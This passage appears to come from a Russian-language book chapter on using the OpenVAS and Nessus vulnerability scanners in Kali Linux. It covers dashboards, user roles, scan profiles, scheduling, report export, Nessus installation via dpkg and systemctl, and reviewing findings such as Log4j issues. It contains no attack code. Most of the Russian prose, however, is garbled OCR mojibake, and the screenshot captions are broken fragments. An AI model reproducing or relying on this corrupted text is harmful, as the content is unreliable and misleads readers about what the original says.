Greenbone Community -
T Agh e s J07I0508TIO0N Current
OF e, CFE Greenbone Community
SCAP 7 CVEs o CPES SCAP Feadd 0230508T0510  Update In progress
o, 1 13 Gresnbone C
CERT {7 CERT-Bund Advisories ﬂl DFN-CERT Advisories pebianalg e J07I0508T0406  Update in progress...
N Compliance Fart g Report Scan ommunity -
wmo_owia [, SR vists [l Formars Corfigs  qumd Data Fead Update In prograssa
hitps:flocalhos:a392 M eedstatus Grewnbore Sacurity ) 3005 , Gmbik, et

Puc. 6.2. Cratyc curHaTyp (Administration » Feed Status)

YnpasneHve nonb3oBaTensMm

OpenVAS umeeT KJIUEHT-CEPBEPHYIO aPXUTEKTYPY, YTO TTO3BOJISIET UCIIOJIH30BATH
€T0 OJTHOBPEMEHHO HECKOJIbKIM IMOJIb30BaTeIsIM. B aMnHNCTPATUBHON YacTH MOK-
HO yNpaBJisITh moJb3oBaressivu (Administrator » Users), 00beAMHATD WX B TPYIIIIBI
(Administrator » Groups), a Tak’ke TIpUCBaUBaTh UM OTIpe/leJIeHHbIE TTPAaBa, YTO BAXKHO
IS 0becTiedeHust IPUBATHOCTH.

Jlnst 6ostee yo6HOTO yripaBieHus mpaBamu goctyna B OpenVAS cyiiecTByer Bo3-
MOKHOCTB co3/ianus posieit (Administrator » Roles), koTopble B fasibHeHIeM MOKHO
MIPUCBANBATh TOJIb30BaTe M (puc. 6.3).

NHdbopMaumoHHas naHens (dashboard)

OpenVAS umeeT X0poIio HacTpanBaeMmyio HH(GOPMAIMOHHYIO MaHe b (puc. 6.4),
KOTOPAst 110 YMOJIYAHUIO SIBJISIETCSI JIOMAIHell cTpanuiieii nosp3oBaress. [lanesnb
MHCTPYMEHTOB TIPeIJIaraeT IeHTPATN30BaHHOE MTPeJICTaBIeHue 3a/ia4, X0cToB, NVT
u T. 1. Bee ipe/ictaBieHHbIe TaHHbIE MOKHO SKCIOPTUPOBaTh B (hopmare CSV.

MnaHWpoBLUMK 3a4a4

[Tpu paboTe ¢ KOPIIOPATUBHBIMHU KIMEHTAMHU MOXKET BO3HUKHYTH CUTYAI[s, KOT/Ia
notpebyercs 3ayCTUTh CKaHUpoBaHue BHe pabouero Bpemern. Co3maBaTh Takue
3aIIAHIPOBAHIbIE TECTHI MOKHO B paszesie Configuration » Scedules (puc. 6.5).
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Puc. 6.3. Co3gaHne HOBOro nosb3oBaTens
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NVTs by Severity Class (Totak 127962
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Puc. 6.4. lHdopmMaLmoHHas naHenb
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& Greenbone Security Assii x| 4 - o x
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| s scan
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Entre Operason
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Puc. 6.5. Co3naHune HOBOW 3aaun

Kop3uHa

Ecam BbI cayuaiino ypamman kakoil-nmu6o us anementos OpenVAS (pesysibrar, 3a-
JIauy, MoJIb30BaTe sl U T. JI.), BOJTHOBATHCST HE CTOUT — BCET/Ia MOKHO JI0OCTaTh HEOO-
XO/IMMBIN 9JIeMeHT 13 KOp3uHbl (puc. 6.6), Hali/isl €ro B COOTBETCTBYIOIIEM Pasieie
(Administration » Trashcan).

Mouck ya3BMMOCTEN

Tenepp, korma OpenVAS HacTpoeH 1 paboTaet, a CUTHATYPbl 0OHOBJIEHBI /10 TIOCTIE/I-
Hell BepCuH, BbI MOKETe TTPUCTYTIUTh K CKAaHUPOBAHUIO PeaibHOM 11eu. B Tpermnpo-
BOYHBIX TIJISIX MBI TIPOCKAHNPYEM CHCTEMY, B KOTOPOH YCTAaHOBJIEHO TIPUJIOKEHNEe
¢ Maccoi ysa3Bumocteit. /[y co3ianms cBoelt epBoi 3a/1a4u OTKPOUTE TOJIh30Ba-
reabckuii OpenVAS. Terepb Bbl MOKeTe BBIOPaTh, KAKOI MacTep 3ajay 3aIllyCTUTh —
rpoctoii (Scan » Task » Task Wizard) wiu paciupennsiii (Scan » Task » Advanced Task
Wizard), B KOTOPOM MOKHO yKasaTh O0JIbIIiee KOJMYECTBO apamMeTpoB. UTo6bl Hauath
€ TIPOCTOTO BapUAHTA, BaM HYKHO JIUIIb BBeCTU [P-anpec e u HaxaTh KHOMKY
Start Scan (puc. 6.7).
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& Greenbone Secunty Asse X 4

« = C O & o hupsiflocalhost 939zfrashcan
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Duarbisards
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\m Trashcan

Contents

Type Ttems
Alerts
Audns
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Adminiatration

Puc. 6.6. Kop3srHa

& Greenbone Secunty Asse X 4
€« 2 Cc0 Q & o hupsiiocalhost9392asks
", Kali Linux 8 Kali Tools [H Kali Docs *, Kali Forums Y Kali NetHunter & Exploit-DB % Google Hacking DB L ONiSec

Quick start: Immedintely scan an [P address

[ | 127001 |
This hotisull A0k i=5s 1 oIl YOUE COMPUISE OF YOUT Metwork galiwiry,
A5 a short-cut the folawing steps will be done for you:

3. S1art thés scan task right away

As s00n as the scan progress is bayond 1%, you can already jump (o the scan report by clicking on the progress
ol 50 T,

b i1 (e “SLANLET cokImn and v e iesus
The: Target and Task " gured in "My Setings”.
By clicking e New Task icon [ you can create a new Task yourse.

Pwuc. 6.7. 3anycKk nepsBoro CKaHMpoBaHUS

e I
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I[Ipu BBIGOpE PaCHIMPEHHOTO MAaCTEpa CKAHNPOBAHKS TOMHUMO TIPOYMX MapaMeTPOB
MOJKHO 3a/1aTh NPOoGUIN cKaHUpoBaHus. [Ipoduan cKaHUPOBaHUSI TIO3BOJISIOT
yKasaTh CHCTEMe, KaKOi cIieHapuii Gy/eT ucnoab3oBarhes. [1o yMoryaHuio Beer/aa
BeIOUpaeTcst mpoduib «moyHoe n 6pictpoe» (Full and fast), ator e mpoduis uc-
M0JIb3YETCsI B IPOCTOM MacTtepe 3ajiad. [Toka Mbl K€M OKOHYAHUsI PE3YJIbTaTOB
CKaHUPOBAHUS, KPATKO PACCMOTPUM JAPYTUe MPOGUIIH:

e Ilycroii (Empty). IlycToil mabn0H, HUYero He CoaepKaIlnui, KOTOPhI MOXK-
HO KJIOHUPOBATb M MCIIOJIb30BaTh JJISl CO3/IaHUsl MHAMBUYATbHOH KOHDUTY-
parum.

e DBasosbiii (Base). [IpuMeHSIOTCS] TOJIBKO T€ KOMIIOHEHTBI, KOTOPbIe COOMPAIOT
uHGMOPMAIHIO O TIeJIEBOI cucTeMe, 6e3 0OHAPY KEHUsI YSI3BUMOCTEN.

e lccaenoBanue (Discovery). [IpumMeHS0OTCS KOMIIOHEHTBI, ITPEOCTABIISIONINE
UHGOPMAIIHIO O [eJIEBOH CHCTEME. YI3BUMOCTH He 0OHapy:kuBatoTcst. CoOpaHHast
uHGOPMAIUS COAEPIKUT CPEHU TIPOYETO JJaHHBIE 00 OTKPBITHIX TOPTAX, UCIOJIb3Y-
eMoM 0bopypoBaHui, haiiepBoJiax, cayskbax, OC, ycTaHOBIEHHOM IIPOrPAMMHOM
obecrieuernu u ceprudpukarTax. [IpuMeHsieTcst CKaHep TOPTOB.

e Tlosnoe u 6picTpoe ckanuposanue (Full and fast). CranmaptHbiii mpoduib, mc-
TOTb3YEMBIiT 7T TIPOBEIEHNsT OBICTPOTO U BCEOOHEMITIONIETO CKAHMPOBAHUS.
Omn BKITIOYaeT GOJTBITIMHCTBO TECTOB W 0OECTIEUNBAET XOPOTIHH GATAHC MEKTY
TOYHOCTBIO U CKOPOCTHIO.

e Tlounoe u rimy6okoe ckanuposanue (Full and deep). ITpexocrasisier camoe Tia-
TeJIbHOE CKAaHUPOBaHUE, BKJIIOYAst BCE TECThI U MIPOBEPKH HA IITyOOKOM YPOBHE.
OnHako Takoe CKaHUPOBaHue TpedyeT 3HAYUTETLHO (OJIbIIEe BPEMEHH U MOKET
YBEJMYUTH HATPY3KY Ha CUCTEMY.

e Uccrenosanne xocta (Host Discovery). Mcnomb3yeTcst /17151 niccyie/joBaHUsS XO-
CTOB, YA3BUMOCTH HE 0OHAPYIKUBAIOTCS.

e Uccnenosanue cucteMnl (System Discovery). Vcnonbayercs i1 uccyieioBaHus
IEJIEBBIX CUCTEM, BKJIOYAs YCTAHOBJIEHHBIE OTIEPAIMOHHBIE CHCTEMbI U 000PY/10-
BaHUe, yA3BUMOCTH He OOHAPYKIBAIOTCS.

TTocJte 3aBepirenst CKAHUPOBAHUS TepelinTe B paszen Scans b Results, 4ToObI TTpo-
CMOTPETH OOHAPY KEHHbIE YSI3BUMOCTH. BB MOJKETE MTPOCTO TIPOCMOTPETH PE3YJIBTAThI
ckanupoBanus B BeO-koHcoan OpenVAS (puc. 6.8) wiu 3arpysuts moapoOHbIiT OT-
veT B BBIOPaHHOM (hopmare. TakKe ecTh BO3MOKHOCTD OT(UIBTPOBATD PE3YJIbTATHI
CKAaHUPOBAHUS 10 PA3JIUYHBIM TTAPAMETPAM.

[OoNONHUTENBHbIE HACTPONKM

Mbri pacemotTpesin 6a30Bbie (hYHKIMHU, HO 3TO elile He MoiHoe 3HakoMcTBO ¢ OpenVAS.
Jasiee Mbl yruryOUMcst B €ro KOH(GUTYPAIIUIO ¥ PACCMOTPUM HEKOTOPBIE MOMEHTBI,
KOTOpbIe He CTOUT YIYCKATh U3 BUIY BO BPeMsI IIPOBEJIEHUST TECTOB 32 IpeliesiaMu
BUPTYaIbHON JTaGOPaTOPUH.
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Puc. 6.8. Pe3ynbTaThl CKaHMPOBaHUSA

BbicTpoaencTaue

OpenVAS, 6e3yCIOBHO, SIBJISIETCST PECYPCOEMKUM HHCTPYMEHTOM, OH MOJKET TIOTPEOIISATh
JIOCTaTOYHO MHOTO MAMSITH 1 TTPOIIECCOPHOTO BpeMeH. [ToaTomy, cKaHUpyst OOJIbIITE
CHCTEMBI, CTOUT CJIEAUTH 3a HArpy3Koi. YToObI IPOCMOTPETh JAHHBIE O TIPOU3BOUTEb-
HOCTH, TiepeiiuTe B paszzen Administration » Performance. B aTom pasjiesnie Bbr MoskeTe
TIPOCMATPUBATH OTYETHI O TIPOU3BOUTEIBHOCTHU 32 ONPEIeIEHHDIN ePUO/] BpeMeHU.

Kanbkynsatop CVSS

MbI y:Ke paccMaTpUBAIU OQMH U3 TAKUX KAJIbKYJIATOPOB PaHee, II0ITOMY He Oyaem
MOBTOPHO yriaybssarhes B noapobHoct. Kanbkyssrop OpenVAS (puc. 6.9) Haxo-
nutcd B paszese Help » CVSS Calculator.

HacTponku

Kak 661710 ckazano Boite, OpenVAS sBJIsIeTCST CHCTEMOM, KOTOPYIO MOKHO OYeHb
TOHKO HacTpouTh. JlocTyI KO BceM HacTpoiikam HaxomauTcst B MeHio Configurations.
Koudurypuposath npejparaercs Takie mapaMeTpbl, Kak 1eJd, CITUCOK MOPTOB,
HnapaMeTpbl I0CTYIIa, HapaMeTPbl CKAaHUPOBAHS, YBEAOMJICHsI, (hOPMAThI OTYETOB,
uasTpLI U T. 1.
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Vector | AVLAACLAAwNICNITNIAN | Hene v
Results: From Vector:
cves CVssvaa
Base AVELAACLALENIC NI NN Vector
Vector
Severity  [IETTESTINEN Results:
VS5 Base . R R
Vertar VIS LAVINAALLP R NN AW CNAL NAIN
sovority [T
Sreenhane (5 qhe () 7009 " Merwnries Ganin, 1

Puc. 6.9. Kanbkynatop CVSS

OT1yeThl

ITocsie 3aBepIIIeH st CKAHUPOBAHWUS JIJISI CO3/IAHUST TAJIBHEIIIEr0 OTYETa BaM HEOOX0-
JIIMO KCIIOPTUPOBATh pe3yabraThl. Open VAS mojiep;kBaeT MHOKECTBO (DOPMATOB
OTYETOB, CPE/IN HUAX:

XML;
CPE;

CSV Hosts;
CSV Results;
HTML;
LaTeX;

NBE;

PDF;
Topology SVG;
TXT.
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Yto6BI cO3/aTh OTYET B HYKHOM (hopMmare, mepeiiinTe B paszen Scans » Reports,
OTKPO¥iTe HYKHBII OTYeT U HaxkmuTe KHOTKY download. Ilocsie aToro BBI cMOskeTe
BBIOPATH HY:KHBII hopmat otyera (puc. 6.10).

| & Greenbane Security Assi % | + = E

¢« > 0@ T & o hups b 49 & v &
", Kali Linux 89 Kali Tools [ Kali Docs %, Kall Forums 338 Kall MetHunter % ExploitDB = Google Hacking DB ) OffSec

I

include  + Netes ¥ Ovemdes | TLS Cerificates
Report Farmat | Anoaymous XML ¥

E=l B,

Puc. 6.10. lNonyyeHne otyeTa

Nessus

Nessus — 3To OAAMH U3 CaMbIX MOIMYJISIPHBIX U IHPOKO HCIOIb3YEMBIX CKAaHEPOB
ySI3BUMOCTEN B WHAyCcTpun KrbepbesomacuocTr. Nessus pazpaboTan KoMIaHueil
Tenable Network Security v nipesinastade st 0OHAPY/KEHUsT YA3BUMOCTEH B pas-
JIMUHBIX cepBepax (web, mail, Idap u T. 11.), ceTeBBIX yCTPOUCTBAX U MPUIOKEHUSX.
ITOT NHCTPYMEHT ITO3BOJISIET OPTAaHU3AIISIM aHAIU3UPOBATH COCTOSTHIE WX NH(DOP-
MAITHOHHBIX CUCTEM, BBIABJISITh U YCTPAHATD YSI3BUMOCTH.

Nessus obecrieunBaeT NIMPOKUI CIIeKTP (DYHKIINH, BKIIOYasT:

® obHapysKeHHe U CKAHUPOBAHWE YSI3BIMOCTEH B PEKUME PEATbHOTO BPEMEHT;

e ayzauT KoHUTypanuil 1 IPOBEPKY HA COOTBETCTBUE CTAHAAPTAM U PEKOMEH/a-
UAM 110 GEe3011acHOCTH;

® o0OHapysKeHHe YyIPo3, CB3aHHBIX C YUYETHBIMU TaHHBIMU;
® OIeHKY 6e30MacHOCTH BeO-TPHUIIOKEHUIT;

MHTETPAINIO C IPYTUME CUCTEMAMU M MHCTPYMEHTAMHU JIJIS YIIPABJICHUS YSI3BH-
MOCTSIMU 1 06PabOTKY MHITUIEHTOB,
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Nessus npeziaraer 6ecriarHyro Bepenio (Nessus Essentials) st HeGo IbImx opratu-
3alMil U JIMYHOTO UcHo/b30Banus. [lnaTHag Bepcus HocTaB/seTcs ¢ J0M0JIHUTEb-
HBIMU (DYHKIUSMEU ¥ BO3MOKHOCTAMU JIJIst obecriedeHust Ge30MacHOCTH KPYITHBIX
MPeANPUATHI U KOPIIOPATUBHBIX ceTell.

YcTaHoOBKa

K coxasennto, Nessus He BkJroueH B perosuropuil Kali Linux, a 3HaunT, ycTaHOBUTH
ero Oy/1eT HECKOJIBKO CJIOJKHEe, YeM TIPeAbIAYINUii ckanep (00aBUTCA ellle HeCKOJIb-
Ko mraros). st Havajia ckayaeM caM ckaHep ¢ o(UIMaIbHOrO caiiTa paspaboTyrKa
https://www.tenable.com/downloads/nessus.

Mbur1 BeiGpastu Bepeuto 10.5.1 mst 64-6utHoit Ubuntu. Tlocote 3aBepiieHus ckaunBa-
HUSI HAM HEOOXOMMO WHCTAJLIMPOBATH CaM CKaHep, /ISt 3TOTO BBITIOJHIM KOMAaH-
Iy dpkg U B KAuecTBe apryMeHTa YKasKeM IyTh K CKauaHHOMY (aiiiy:

$sudo dpkg -i /home/itsecbook/Downloads/Nessus-10.5.1-ubuntul404_amd64.deb
[Tocse 3aBeprierns mpoiecca yCTAaHOBKYA MOKHO 3aITyCTUTD Nessus:

$sudo systemctl start nessusd.service

[Tporecc samymien. Temeps, Kak 1 B caydae ¢ TPEABIAYIINM CKAHEPOM, MBI MOKEM
HOAKIIOUNTHCA K Nessus, HCIIob3ys Hail Gpaysep, — https://kali:8834/ (puc. 6.11).

) Nessus { Setup % | + = x
€ 2 C0 O & hups:ikali:883ase g @ & & =
" Kali Linux @ Kali Tools [ Kal Docs %, Kab Forums (3 Kali NetHunter & Exploit-DB & Google Hacking DB | OfSec b

Puc. 6.11. MNepsbiii 3anyck Nessus
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Bo BpEMA IIEPBOTO MOAKJJIIOYEHNA BaM 6szeT MpEATOKEHO HpOﬁTH perucrTpamnmio,
BbI6paTb TUII TPOAYKTAQ, a TAaKKE IPUAYMaTb JIOTUH 1 11apOJib.

MNonnuTmnkmn

B Nessus cy1ecTByeT MHOKECTBO HOJUTHUK /LIS Pa3JIMUHbIX 1ieJieil, OHU He CTaTUYHbl
1 TIOCTOSTHHO T00ABISIOTCS, yAAMAoTes 1 06HOoBIsTIoTCs. [TomnTuky Nessus — 9To
rapaMeTpbl, KOTOpble OIIpe/esIsAI0T TeXHUYeCKUe XapaKTePUCTUKN CKaHUPOBAHUS
1es1eBoi crcteMbl. OHI MOTYT BKJIIOYATH B ce0sT TaKie HACTPONKH, KaK KOJTHYECTBO
XOCTOB, HOMepa MopToB, cepBuchl, THT potokosa (TCP, UDP u ICMP), Tum cka-
Hepa IMOPTOB U T. 1I.

Paspaborunku BIOYMIN B Nessus HECKOJIbKO TOTOBBIX TOJTUTHK, OHU JOJKHBI
MoMOYb criertnasucTam 1mo b mpoBoguTh perysisipHbie MPOBEPKH CUCTEMBI Ha
cooTBeTCTBHE cTaHgapTaM (IPoBepKa YA3BMMOCTHU ceTH, oOpabaThiBarollell TpaH-
3aKIUU TIJIATEKHBIX KapT, cooTBeTcTBUs ctanaaptam PCI). Heemorpst Ha Hammune
JIOCTATOYHOTO KOJIMYECTBA PA3JINYHBIX TOTOBBIX TIOJTUTHK, BaM, KaK CIIEI[UATIICTY TI0
6€301IaCHOCTH, PAaHO MJIU MO3IHO TTOTPeOYeTCst CO31aTh COOCTBEHHbBIE TOJUTUKH 1]
MIPUIIEJTBHOTO CKAHUPOBAHUS pasandHbIX THIoB NC.

JLJ1st 03HAKOMIIEHUST € TIOJIUTUKAMU U Havasia paboThl ¢ HUIMU Ha;KMUTE KHOTIKY Polices
Ha jieBoii manenu (puc. 6.12).

() Nossus Essentials / Palkc = | 4 -

o
© 2 C @ O G hipsikalisssdsscansipolciesiew o 2 & @ =

"5 Kali Lnes 8 Kol Tools [ Kall Docs ™, Kol Forums 8 Kol MetHunicr = Explon DB Google Hacking 0B L OffSec g Greenbone Secunty A...

Palicy Templates
P— € Back o Policies
W Alscans seanmar
B Tash

DISCOVERY
0 rolicies o
B Plugin fules

Haat Discovary

) Terrascan < v

VULMERABILITIES

I # @ 9

Bashe Metwork Scan Advanced Scan by

o A u & &

Web Application Tests Credentialed Patch Audit Intel AMT Security Bypass Spectre and Meltdown WannaCry Ransemware

il

A o Sl s
@?) == i3 =

Rinnla2n Remnte Sean Terolegon Remote Scan Solarigate ProxyLogon : M5 Exchange PrintNightmare

Puc. 6.12. Cnimcok noamTmk



200 naBa 06 e [louck ysa3BMMOCTEN

O6paTI/ITe BHUMaHHWE, YTO HECKOTOPbIC ITOJIMTUKHN 6yIIyT JAOCTYITHBI TOJIBKO CHACTJ/IN-
BbIM O6]Ia]IaTeJIHM TLIATHOM BepCHUU JaHHOTO CKaHepa.

o4
lNownck ys3BMMOCTEN
Kak u 8 OpenVAS, 3amyck TpocToro ckaHupoBaHus B Nessus SBIISETCS JOCTATOTHO
TPUBHUATHHON 3a/1a4eil, T03TOMY JaBaliTe PACCMOTPHUM TIPOTIECC CO3IAHMST TePCOHA-
JIN3UPOBAHHOTO CKAaHUPOBAHWA.

Jlis Havama paboTHI METKHNUTE Ha KHOMTKEe New Scan B IpaBOM BEPXHEM YTJTY, & 3aTeM
BeiOepuTe myHKT Advanced scan (puc. 6.13).

() Nossus Essentials / Scar = | 4

=}
o O @ O & hipsikalissaascansieparsingw bl g £ @ =

"5 Kali Linee 8 Kol Tools [ Kall Docs ™, Kol Forums (38 Kol MetHunicr = ExplotDB  Google Hacking 0B L OffSec g Greenbone Secunty A...

Scan Templates
«Batk 1o Seans

B My Seans
W Alscans
B Trash

Scanner

DISCOVERY

Pelicius.

Pligin Rules

’s@o

Terrascan

VULMERABILITIES

I # @

Bashe Metwork Scan Advanced Scan
A full st geae psitaiia for any Contigure 3 1w n

Cradentialed Patch Audit Intel AMT Security Bypass

Terologon Remaote Scan Solarigate ProxyLogon : M5 Exchange PrintNightmare

Puc. 6.13. Co3naHune 3aaaum

[TocJie aTUX AeiicTBUIT TTOSIBUTCST MacTep HacTpoiiku. B pasnese General Heo6Xxoanmo
3a/aTh UM 32/Ia4M 1 ONUCAHNE — Celiyac 9TO MOKET MOKA3aThCsl HE OYEHb aKTY-
AJIBHBIM, HO OKQKETCST TAKOBBIM, KOT/[A KOJIMYECTBO 33/1a4 [EPEBAIUT 32 HECKOJIBKO
necatkos (puc. 6.14). U1 koHeuHo, He 3a0yibre yKa3aTh LeJIN.

Ecin 3aady HE0OXOAMMO BBIIOJHSATH PETYJISIPHO, B pasiese Scedule MOKHO
3a/1aTh WU U3MEHUTH pacnucanue. ITo ObIBAET MOJE3HO, ECJIU B OPTaHU3AIMH
0OHOBJIEHUE BEO-TIPUIIOKEHUSI, HATIPUMED, TPOUCXOIUT KaKIAbIH MTOHEIETbHIK

(puc. 6.15).
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() Nossus Essentials / Scar = | 4

- 3 o0 O & i e 160006 8o 1d-cobh- ing fxl 2 %
"5 Kali Linee 8 Kol Tools [ Kall Docs ™, Kol Forums (38 Kol MetHunicr = ExplotDB  Google Hacking 0B L OffSec g Greenbone Secunty A...

Mew Scan / Advanced Scan
&y seans € Back to Scan Templates
Al Sca
- ans Suttings Credertials Flugins.
B Trash
BatiC -
o Genaral w2 My frs sean
Pelices
Schadule
B riugin iues Daseripticn created for test purposes
# Terrascan Notifications.
DISCOVIRY
RSsESTMENT Fakder Wy Seans -
repoaT
[r— Targeta 1zze|
Upload Targets Add File

Cancel

Puc. 6.14. Co3naHne HoBOW 3ada4un. Pa3aen General

() Nossus Essentials / Scar = | 4

“ 2 O @ O & i ¢16-03b6- 80 1d-coté- ing Ev (=
" Kali Linix 8 Kall Tools [ Kall Docs “, Kall Forums 3% Kall NetHunier % Explot DB Google Hacking 0B L OffSec g Greenbone Securty A

Mew Scan / Advanced Scan
€ Back to Scan Templates

B My Seans
Al Scans
- Suttings Crederitials Phugsns.
B Trash
Bate -
0 Ganaral Skl ®
Plicios
schudule HEITE: Ginly e sehvidibe ean b anabled. Any other sehedulid seans vill be disablod. Upgrads to Nessus Professicasl
B Plugin fules
— Nocfications.
DISCOVIRY Fregquency Wieckly -
ASSESEMENT
Searts 100 v | | FEE0S0R
rrpcar
ADANCID Timezane At Verk -
Repoat Fuary ek -
Repeat On 5| M T W T F|S§
Summary Hepeats every week on Manday at 12:00 PM, starting on Tuesdsy, May Sth, 2023

Zoho Managetngine El o

Puc. 6.15. YnpasneHve pacnucaHnem
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Ecm BBI XOTHTE TOTYYaTh YBEAOMIEHUS O MPOAETAHHON CKaHepoM paboTe, CKOH-
urypupytite nannyto 3amauy B paszese Notifications. B ranubIii MOMEHT mTO/IIEPKU-
BAaIOTCsI YBEJIOMJIEHUS 110 AJIEKTPOHHO TTOUTe.

Ha cienytoriem 1are HaMm He0OXOAUMO YKa3aTh, 4TO MbI Oy/IEM UCIIOJB30BATh JIJIsT
oOHapysKeHUs U UCCIe0BaHUI X0cTOB B 1esieBoit IC. ITo menaercs B pasjgesie
Discovery, TyT BBIOMPAIOTCS] METO/bI JJIS:

e oGHapyskenus xoctoB B cetu: muHT (ARP, TCP, UDP u ICMP), o6HapyskeHie
ceTeBbIX IPUHTEPOB, X0cToB Novell NetWare;

® CKaHHUpPOBaHMA IHOPTOB: HACTPaWMBa€MbI€ OIIUU [J4 CKaHUPOBaHMA AMWalla30Ha
MOPTOB WJIK OHOTO mopTa, obHapyskenust Secure Shell (SSH), noucka uxcrpy-
MenToB yrpasienuss Windows (WMI), SNMP; nojziepskka CKaHUPOBAHUST TOP-
ToB TCP m UDP, a Takske CKpPBITOTO CKAaHUPOBAHUS;

® obOHapyKeHUs CIyKO ¢ COMOCTaBICHUEM KaxK/I0i HAIEHHOI CITyKObI ¢ HOMEPOM
nopTa.

B paszene Assessment (OrieHKa) MbI MOKEM YKa3aTh, KAKKE TECTI HEOOXOMMO MTPO-
BECTH 110 OTHOIIIEHUIO K HAl/IeHHbIM XocTaM. KoHburypaims 3a1aetcst B CIeIyIONux
pasjenax:

e mepebop (Brute Force): MOMbBITKA TIPOHUKHYTH B CHCTEMY, HCTTOJIB3YST METOT TIEpe-
6Gopa JIOTHHOB ¥ TIapOJIei;

o BeO-npwioxenus: (Web Application): ripoBepka Haii/leHHBIX TIPUIOKEHUN Ha Ha-
Jin4ye U3BeCTHLIX CKaHepy ysa3BUMOCTell;

e Windows: TIoIbITKa O6Hapy>KeHI/IH JIOKAJIbHBIX 1 TOMEHHBIX HO]IbSOBaTeJIeﬁ;

e BpenonocHoe [1O(Malware): ckannpoBanue Ha Hasmnuue BpezioHocHoro 110.

3aj1aB Bce HEOOXOANUMBIE TIaPaMETPbI, COXPAHUTE KOH(PUTYPALIUIO ITPU OMOIIIN KHOII-
ku Save. Co3znannas koHuUTypalys Ternepb COXpaHeHa B manke My Scans u rotoBa
K 3amycky. /lyig BeITOTHEHMST CKaHUPOBAHUS HAKMUTE KHOTIKY Launch.

DKCMNOPT pe3y/bTaTos

3aBepIIB CKAHUPOBAHKE, MOKHO IIPOCMOTPETD TIOJTYYCHHbIE PE3YJIBTATHI, KINKHYB
Ha HY’KHOII 3a1ade. B aTOM ke pasjiesie ecTh MoJe3Hast (GYHKIIHS 9KCTIOPTa pes3yJIb-
TATOB JIJIST TTOCJIEYIONIETO BKIIOYEHNUST TTOCJAETHUX B Balll OTYET WJIH 7T TIepeadn
JIPYTUM uJieHaM Batreir komaubl. /lannbie akcnoptupyiores B PDE, HTML u CSV.
(puc. 6.16).

Jl1s1 axcmopTa HAXKMHUTe KHOTIKY Report B mpaBoM BepxHeM yTiy. Temeps MOXHO
yKa3aTh HeOOXOAMMbIE OTTIAN JIJIST 9KCTIOPTA PE3YTHTATOB.
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(" Nessus Essentials / Fold: = | ) my first scan_zdkdmS.pdf = 4 —

L3 o
L

© 2 C @ O A hupsihalissadkiscansiepons/ihass 1 g &
"5 Kall Ui @ Kol Tools [ Kall Docs %, Kall Forums (38 Kal NetHunier = Explof DB Google Hacking DB L OfSec &b Greentone Securiy A,

Generate Repart

Report Format: | HTML @ FDF OS¢
Seluct s Report Template:

| Template Bescription:
This report provides a summary It of vainerabiltes for each host

Complete List of vulnerabilities by Host detected i the scan.

Detalied vulnerabilnies By Host
Deetalled Vulnarabilties By Flugn
Vulnershilty Dperations

Filters Applied:
Hene

Puc. 6.16. 'eHepauus oTyeTa

AHanus pesynbTaToB

Termepb MbI 3HaeM, Kak 3allyCKaTh CKAHUPOBAHUE U TEHEPUPOBATH OTYETHI, — CO-
[JIACUTEChH, HTO IOCTATOYHO MPOCTO U HEe TpedyeT rIyGOKUX TeXHUIECKUX 3HAHUIA.
Opnako Ha 3TOM pabora creruanucTa 1mo b He 3akaHUMBAETCS, @ TOJBKO HAUM-
Haetcst. Ha caemyrotiieM atarne HaM HEOOXOAMMO O3HAKOMHUTBCS € Pe3yJibraTaMu
¥ TIPOAHATU3UPOBATD HX.

[lJ1s1 mpocMoTpa pe3y IbTaToB OTKPOiiTe MH(OPMAIUIO O BHIIIOJHEHHOM CKAaHUPOBA-
HUW U riepeiinnTe Ha BKIaAKy Vulnerabilities (puc. 6.17).

ITepe BaMu IOJIHBII CIIMCOK BCEX YA3BUMOCTEl, KOTOpble 00Hapy KujI Nessus, Bbi-
OJIHKMB CKaHHUPOBAHUE 110 3a[laHHBIM BaMH TapamMerpam. Ho oTo eliie He Bce — B 9TOM
paszesie yI3BUMOCTH CTPYIIINPOBAHbI II0 KaTeroprsaM. YToObl II0Iy9nTh GoJ1ee moz-
pobHYyI0 nH(pOpMaIno, nepeiiure B ofHy U3 Kateropuii (puc. 6.18).
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) Nessus Essentials { Fold: = | () my fist scan_addms.pdt = - 82
€ 2 C @ O & i & 2 & & =
"5 Kall Ui @ Kol Tools [ Kall Docs %, Kall Forums (38 Kal NetHunier = Explof DB Google Hacking DB L OfSec &b Greentone Securiy A,

iy first scan Configure  Audit Trai Launch ™ Repart  Export ¥
B Myseans € Back to My Scans

Al Sca
- an Wosts 1 Vulnerabilities (83 fMotes 1 History 1
B Trash

Pilter « rabilives
Q rolicies Sevw CVSSy  WPRe  Mame s Family & Count v Sean Datails
B Plugin fuies == B dpad.. W " relley: Advaniced Sean
) Terrascan Stanus: Compieted
= ST T — 18 Serity Base: CVESVID 4
Scanner: Local Scanner
| o ] 5 TLS(MuL.  Service detection ] Start Teslay at 5:18 AM
Enc: Today at 5:38 AM
[T | 3 HTTP(M..  Web Seraers 8 Dlagect 21 mirmtes
[ e B WebSer. el Severs 7 Vulnerabilities
[ | 3 MM, General 5 & Critical
& High
) S SHpa.  Cenml s o Madiam
Low
® Info
Cmo | . 3 MTTP (M., CG1sbuses 3
[T | 3 Apache_.  Web Senvers 2
Contec CONPROSYS
HMI System [CHS) [ Metstal Ports.. PO scanners ]
Unauthenticated ...
R [T Serdce Getec..  Senvice detection 7
[T Web Appicatl..  Web Servers 5

Puc. 6.17. NpocMOTp pe3ynbTaTos

() Nessus Essentials / Foid = | () my first scan_zddmSpdt =+ -

o
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my first scan / Apache Logdj (Multiple Issues) Configure | Auit Tral mith = peport | Dxpon T
oy « Batk 1o vulnerabilties
U ez Wosts 1 Vulerabilities (82 Motes 1 History 1
B Trash
Pelices Sevw vss e VPRe Name s Family & Count v Scan Detall
ly ils
Plugin Rules
8 rug B o Jpachetogth. e 2 Poley Acvanced Sean
® Terascan Stanus Compisad
EEl - 74 Apachelogdl. Mec 2 Severity Base: CVSSVAD
Scanner: Local Scanner
EE T4 Apachelogd..  Msc 1 Start Todday at 5:18 AM
Enck Today at 5:38 AM
[T Apache Logdl..  Mec. ) Clapied: 21 iiemites

Vulnerabilities

Critical
’ B
& Madiam
Lo
® Info

Puc. 6.18. NpocmoTp kaTteropumn Apache Log4j



Temepsb BBI BUIUTE CIIUCOK YSI3BUMOCTEN ¢ KpaTKoi nHbopmaineii u ortenkoir CVSS
(puc. 6.19). [Ij1g 1oyyeHus AeTadbHbIX JAHHBIX HOIPOOYIITe KIMKHYTh 10 OJHOM
13 CTPOK crucka. Vemonb3ys nosydeHnyio nHGOPMaIInio, Bbl MOJKETe OTIPE/IETUTh
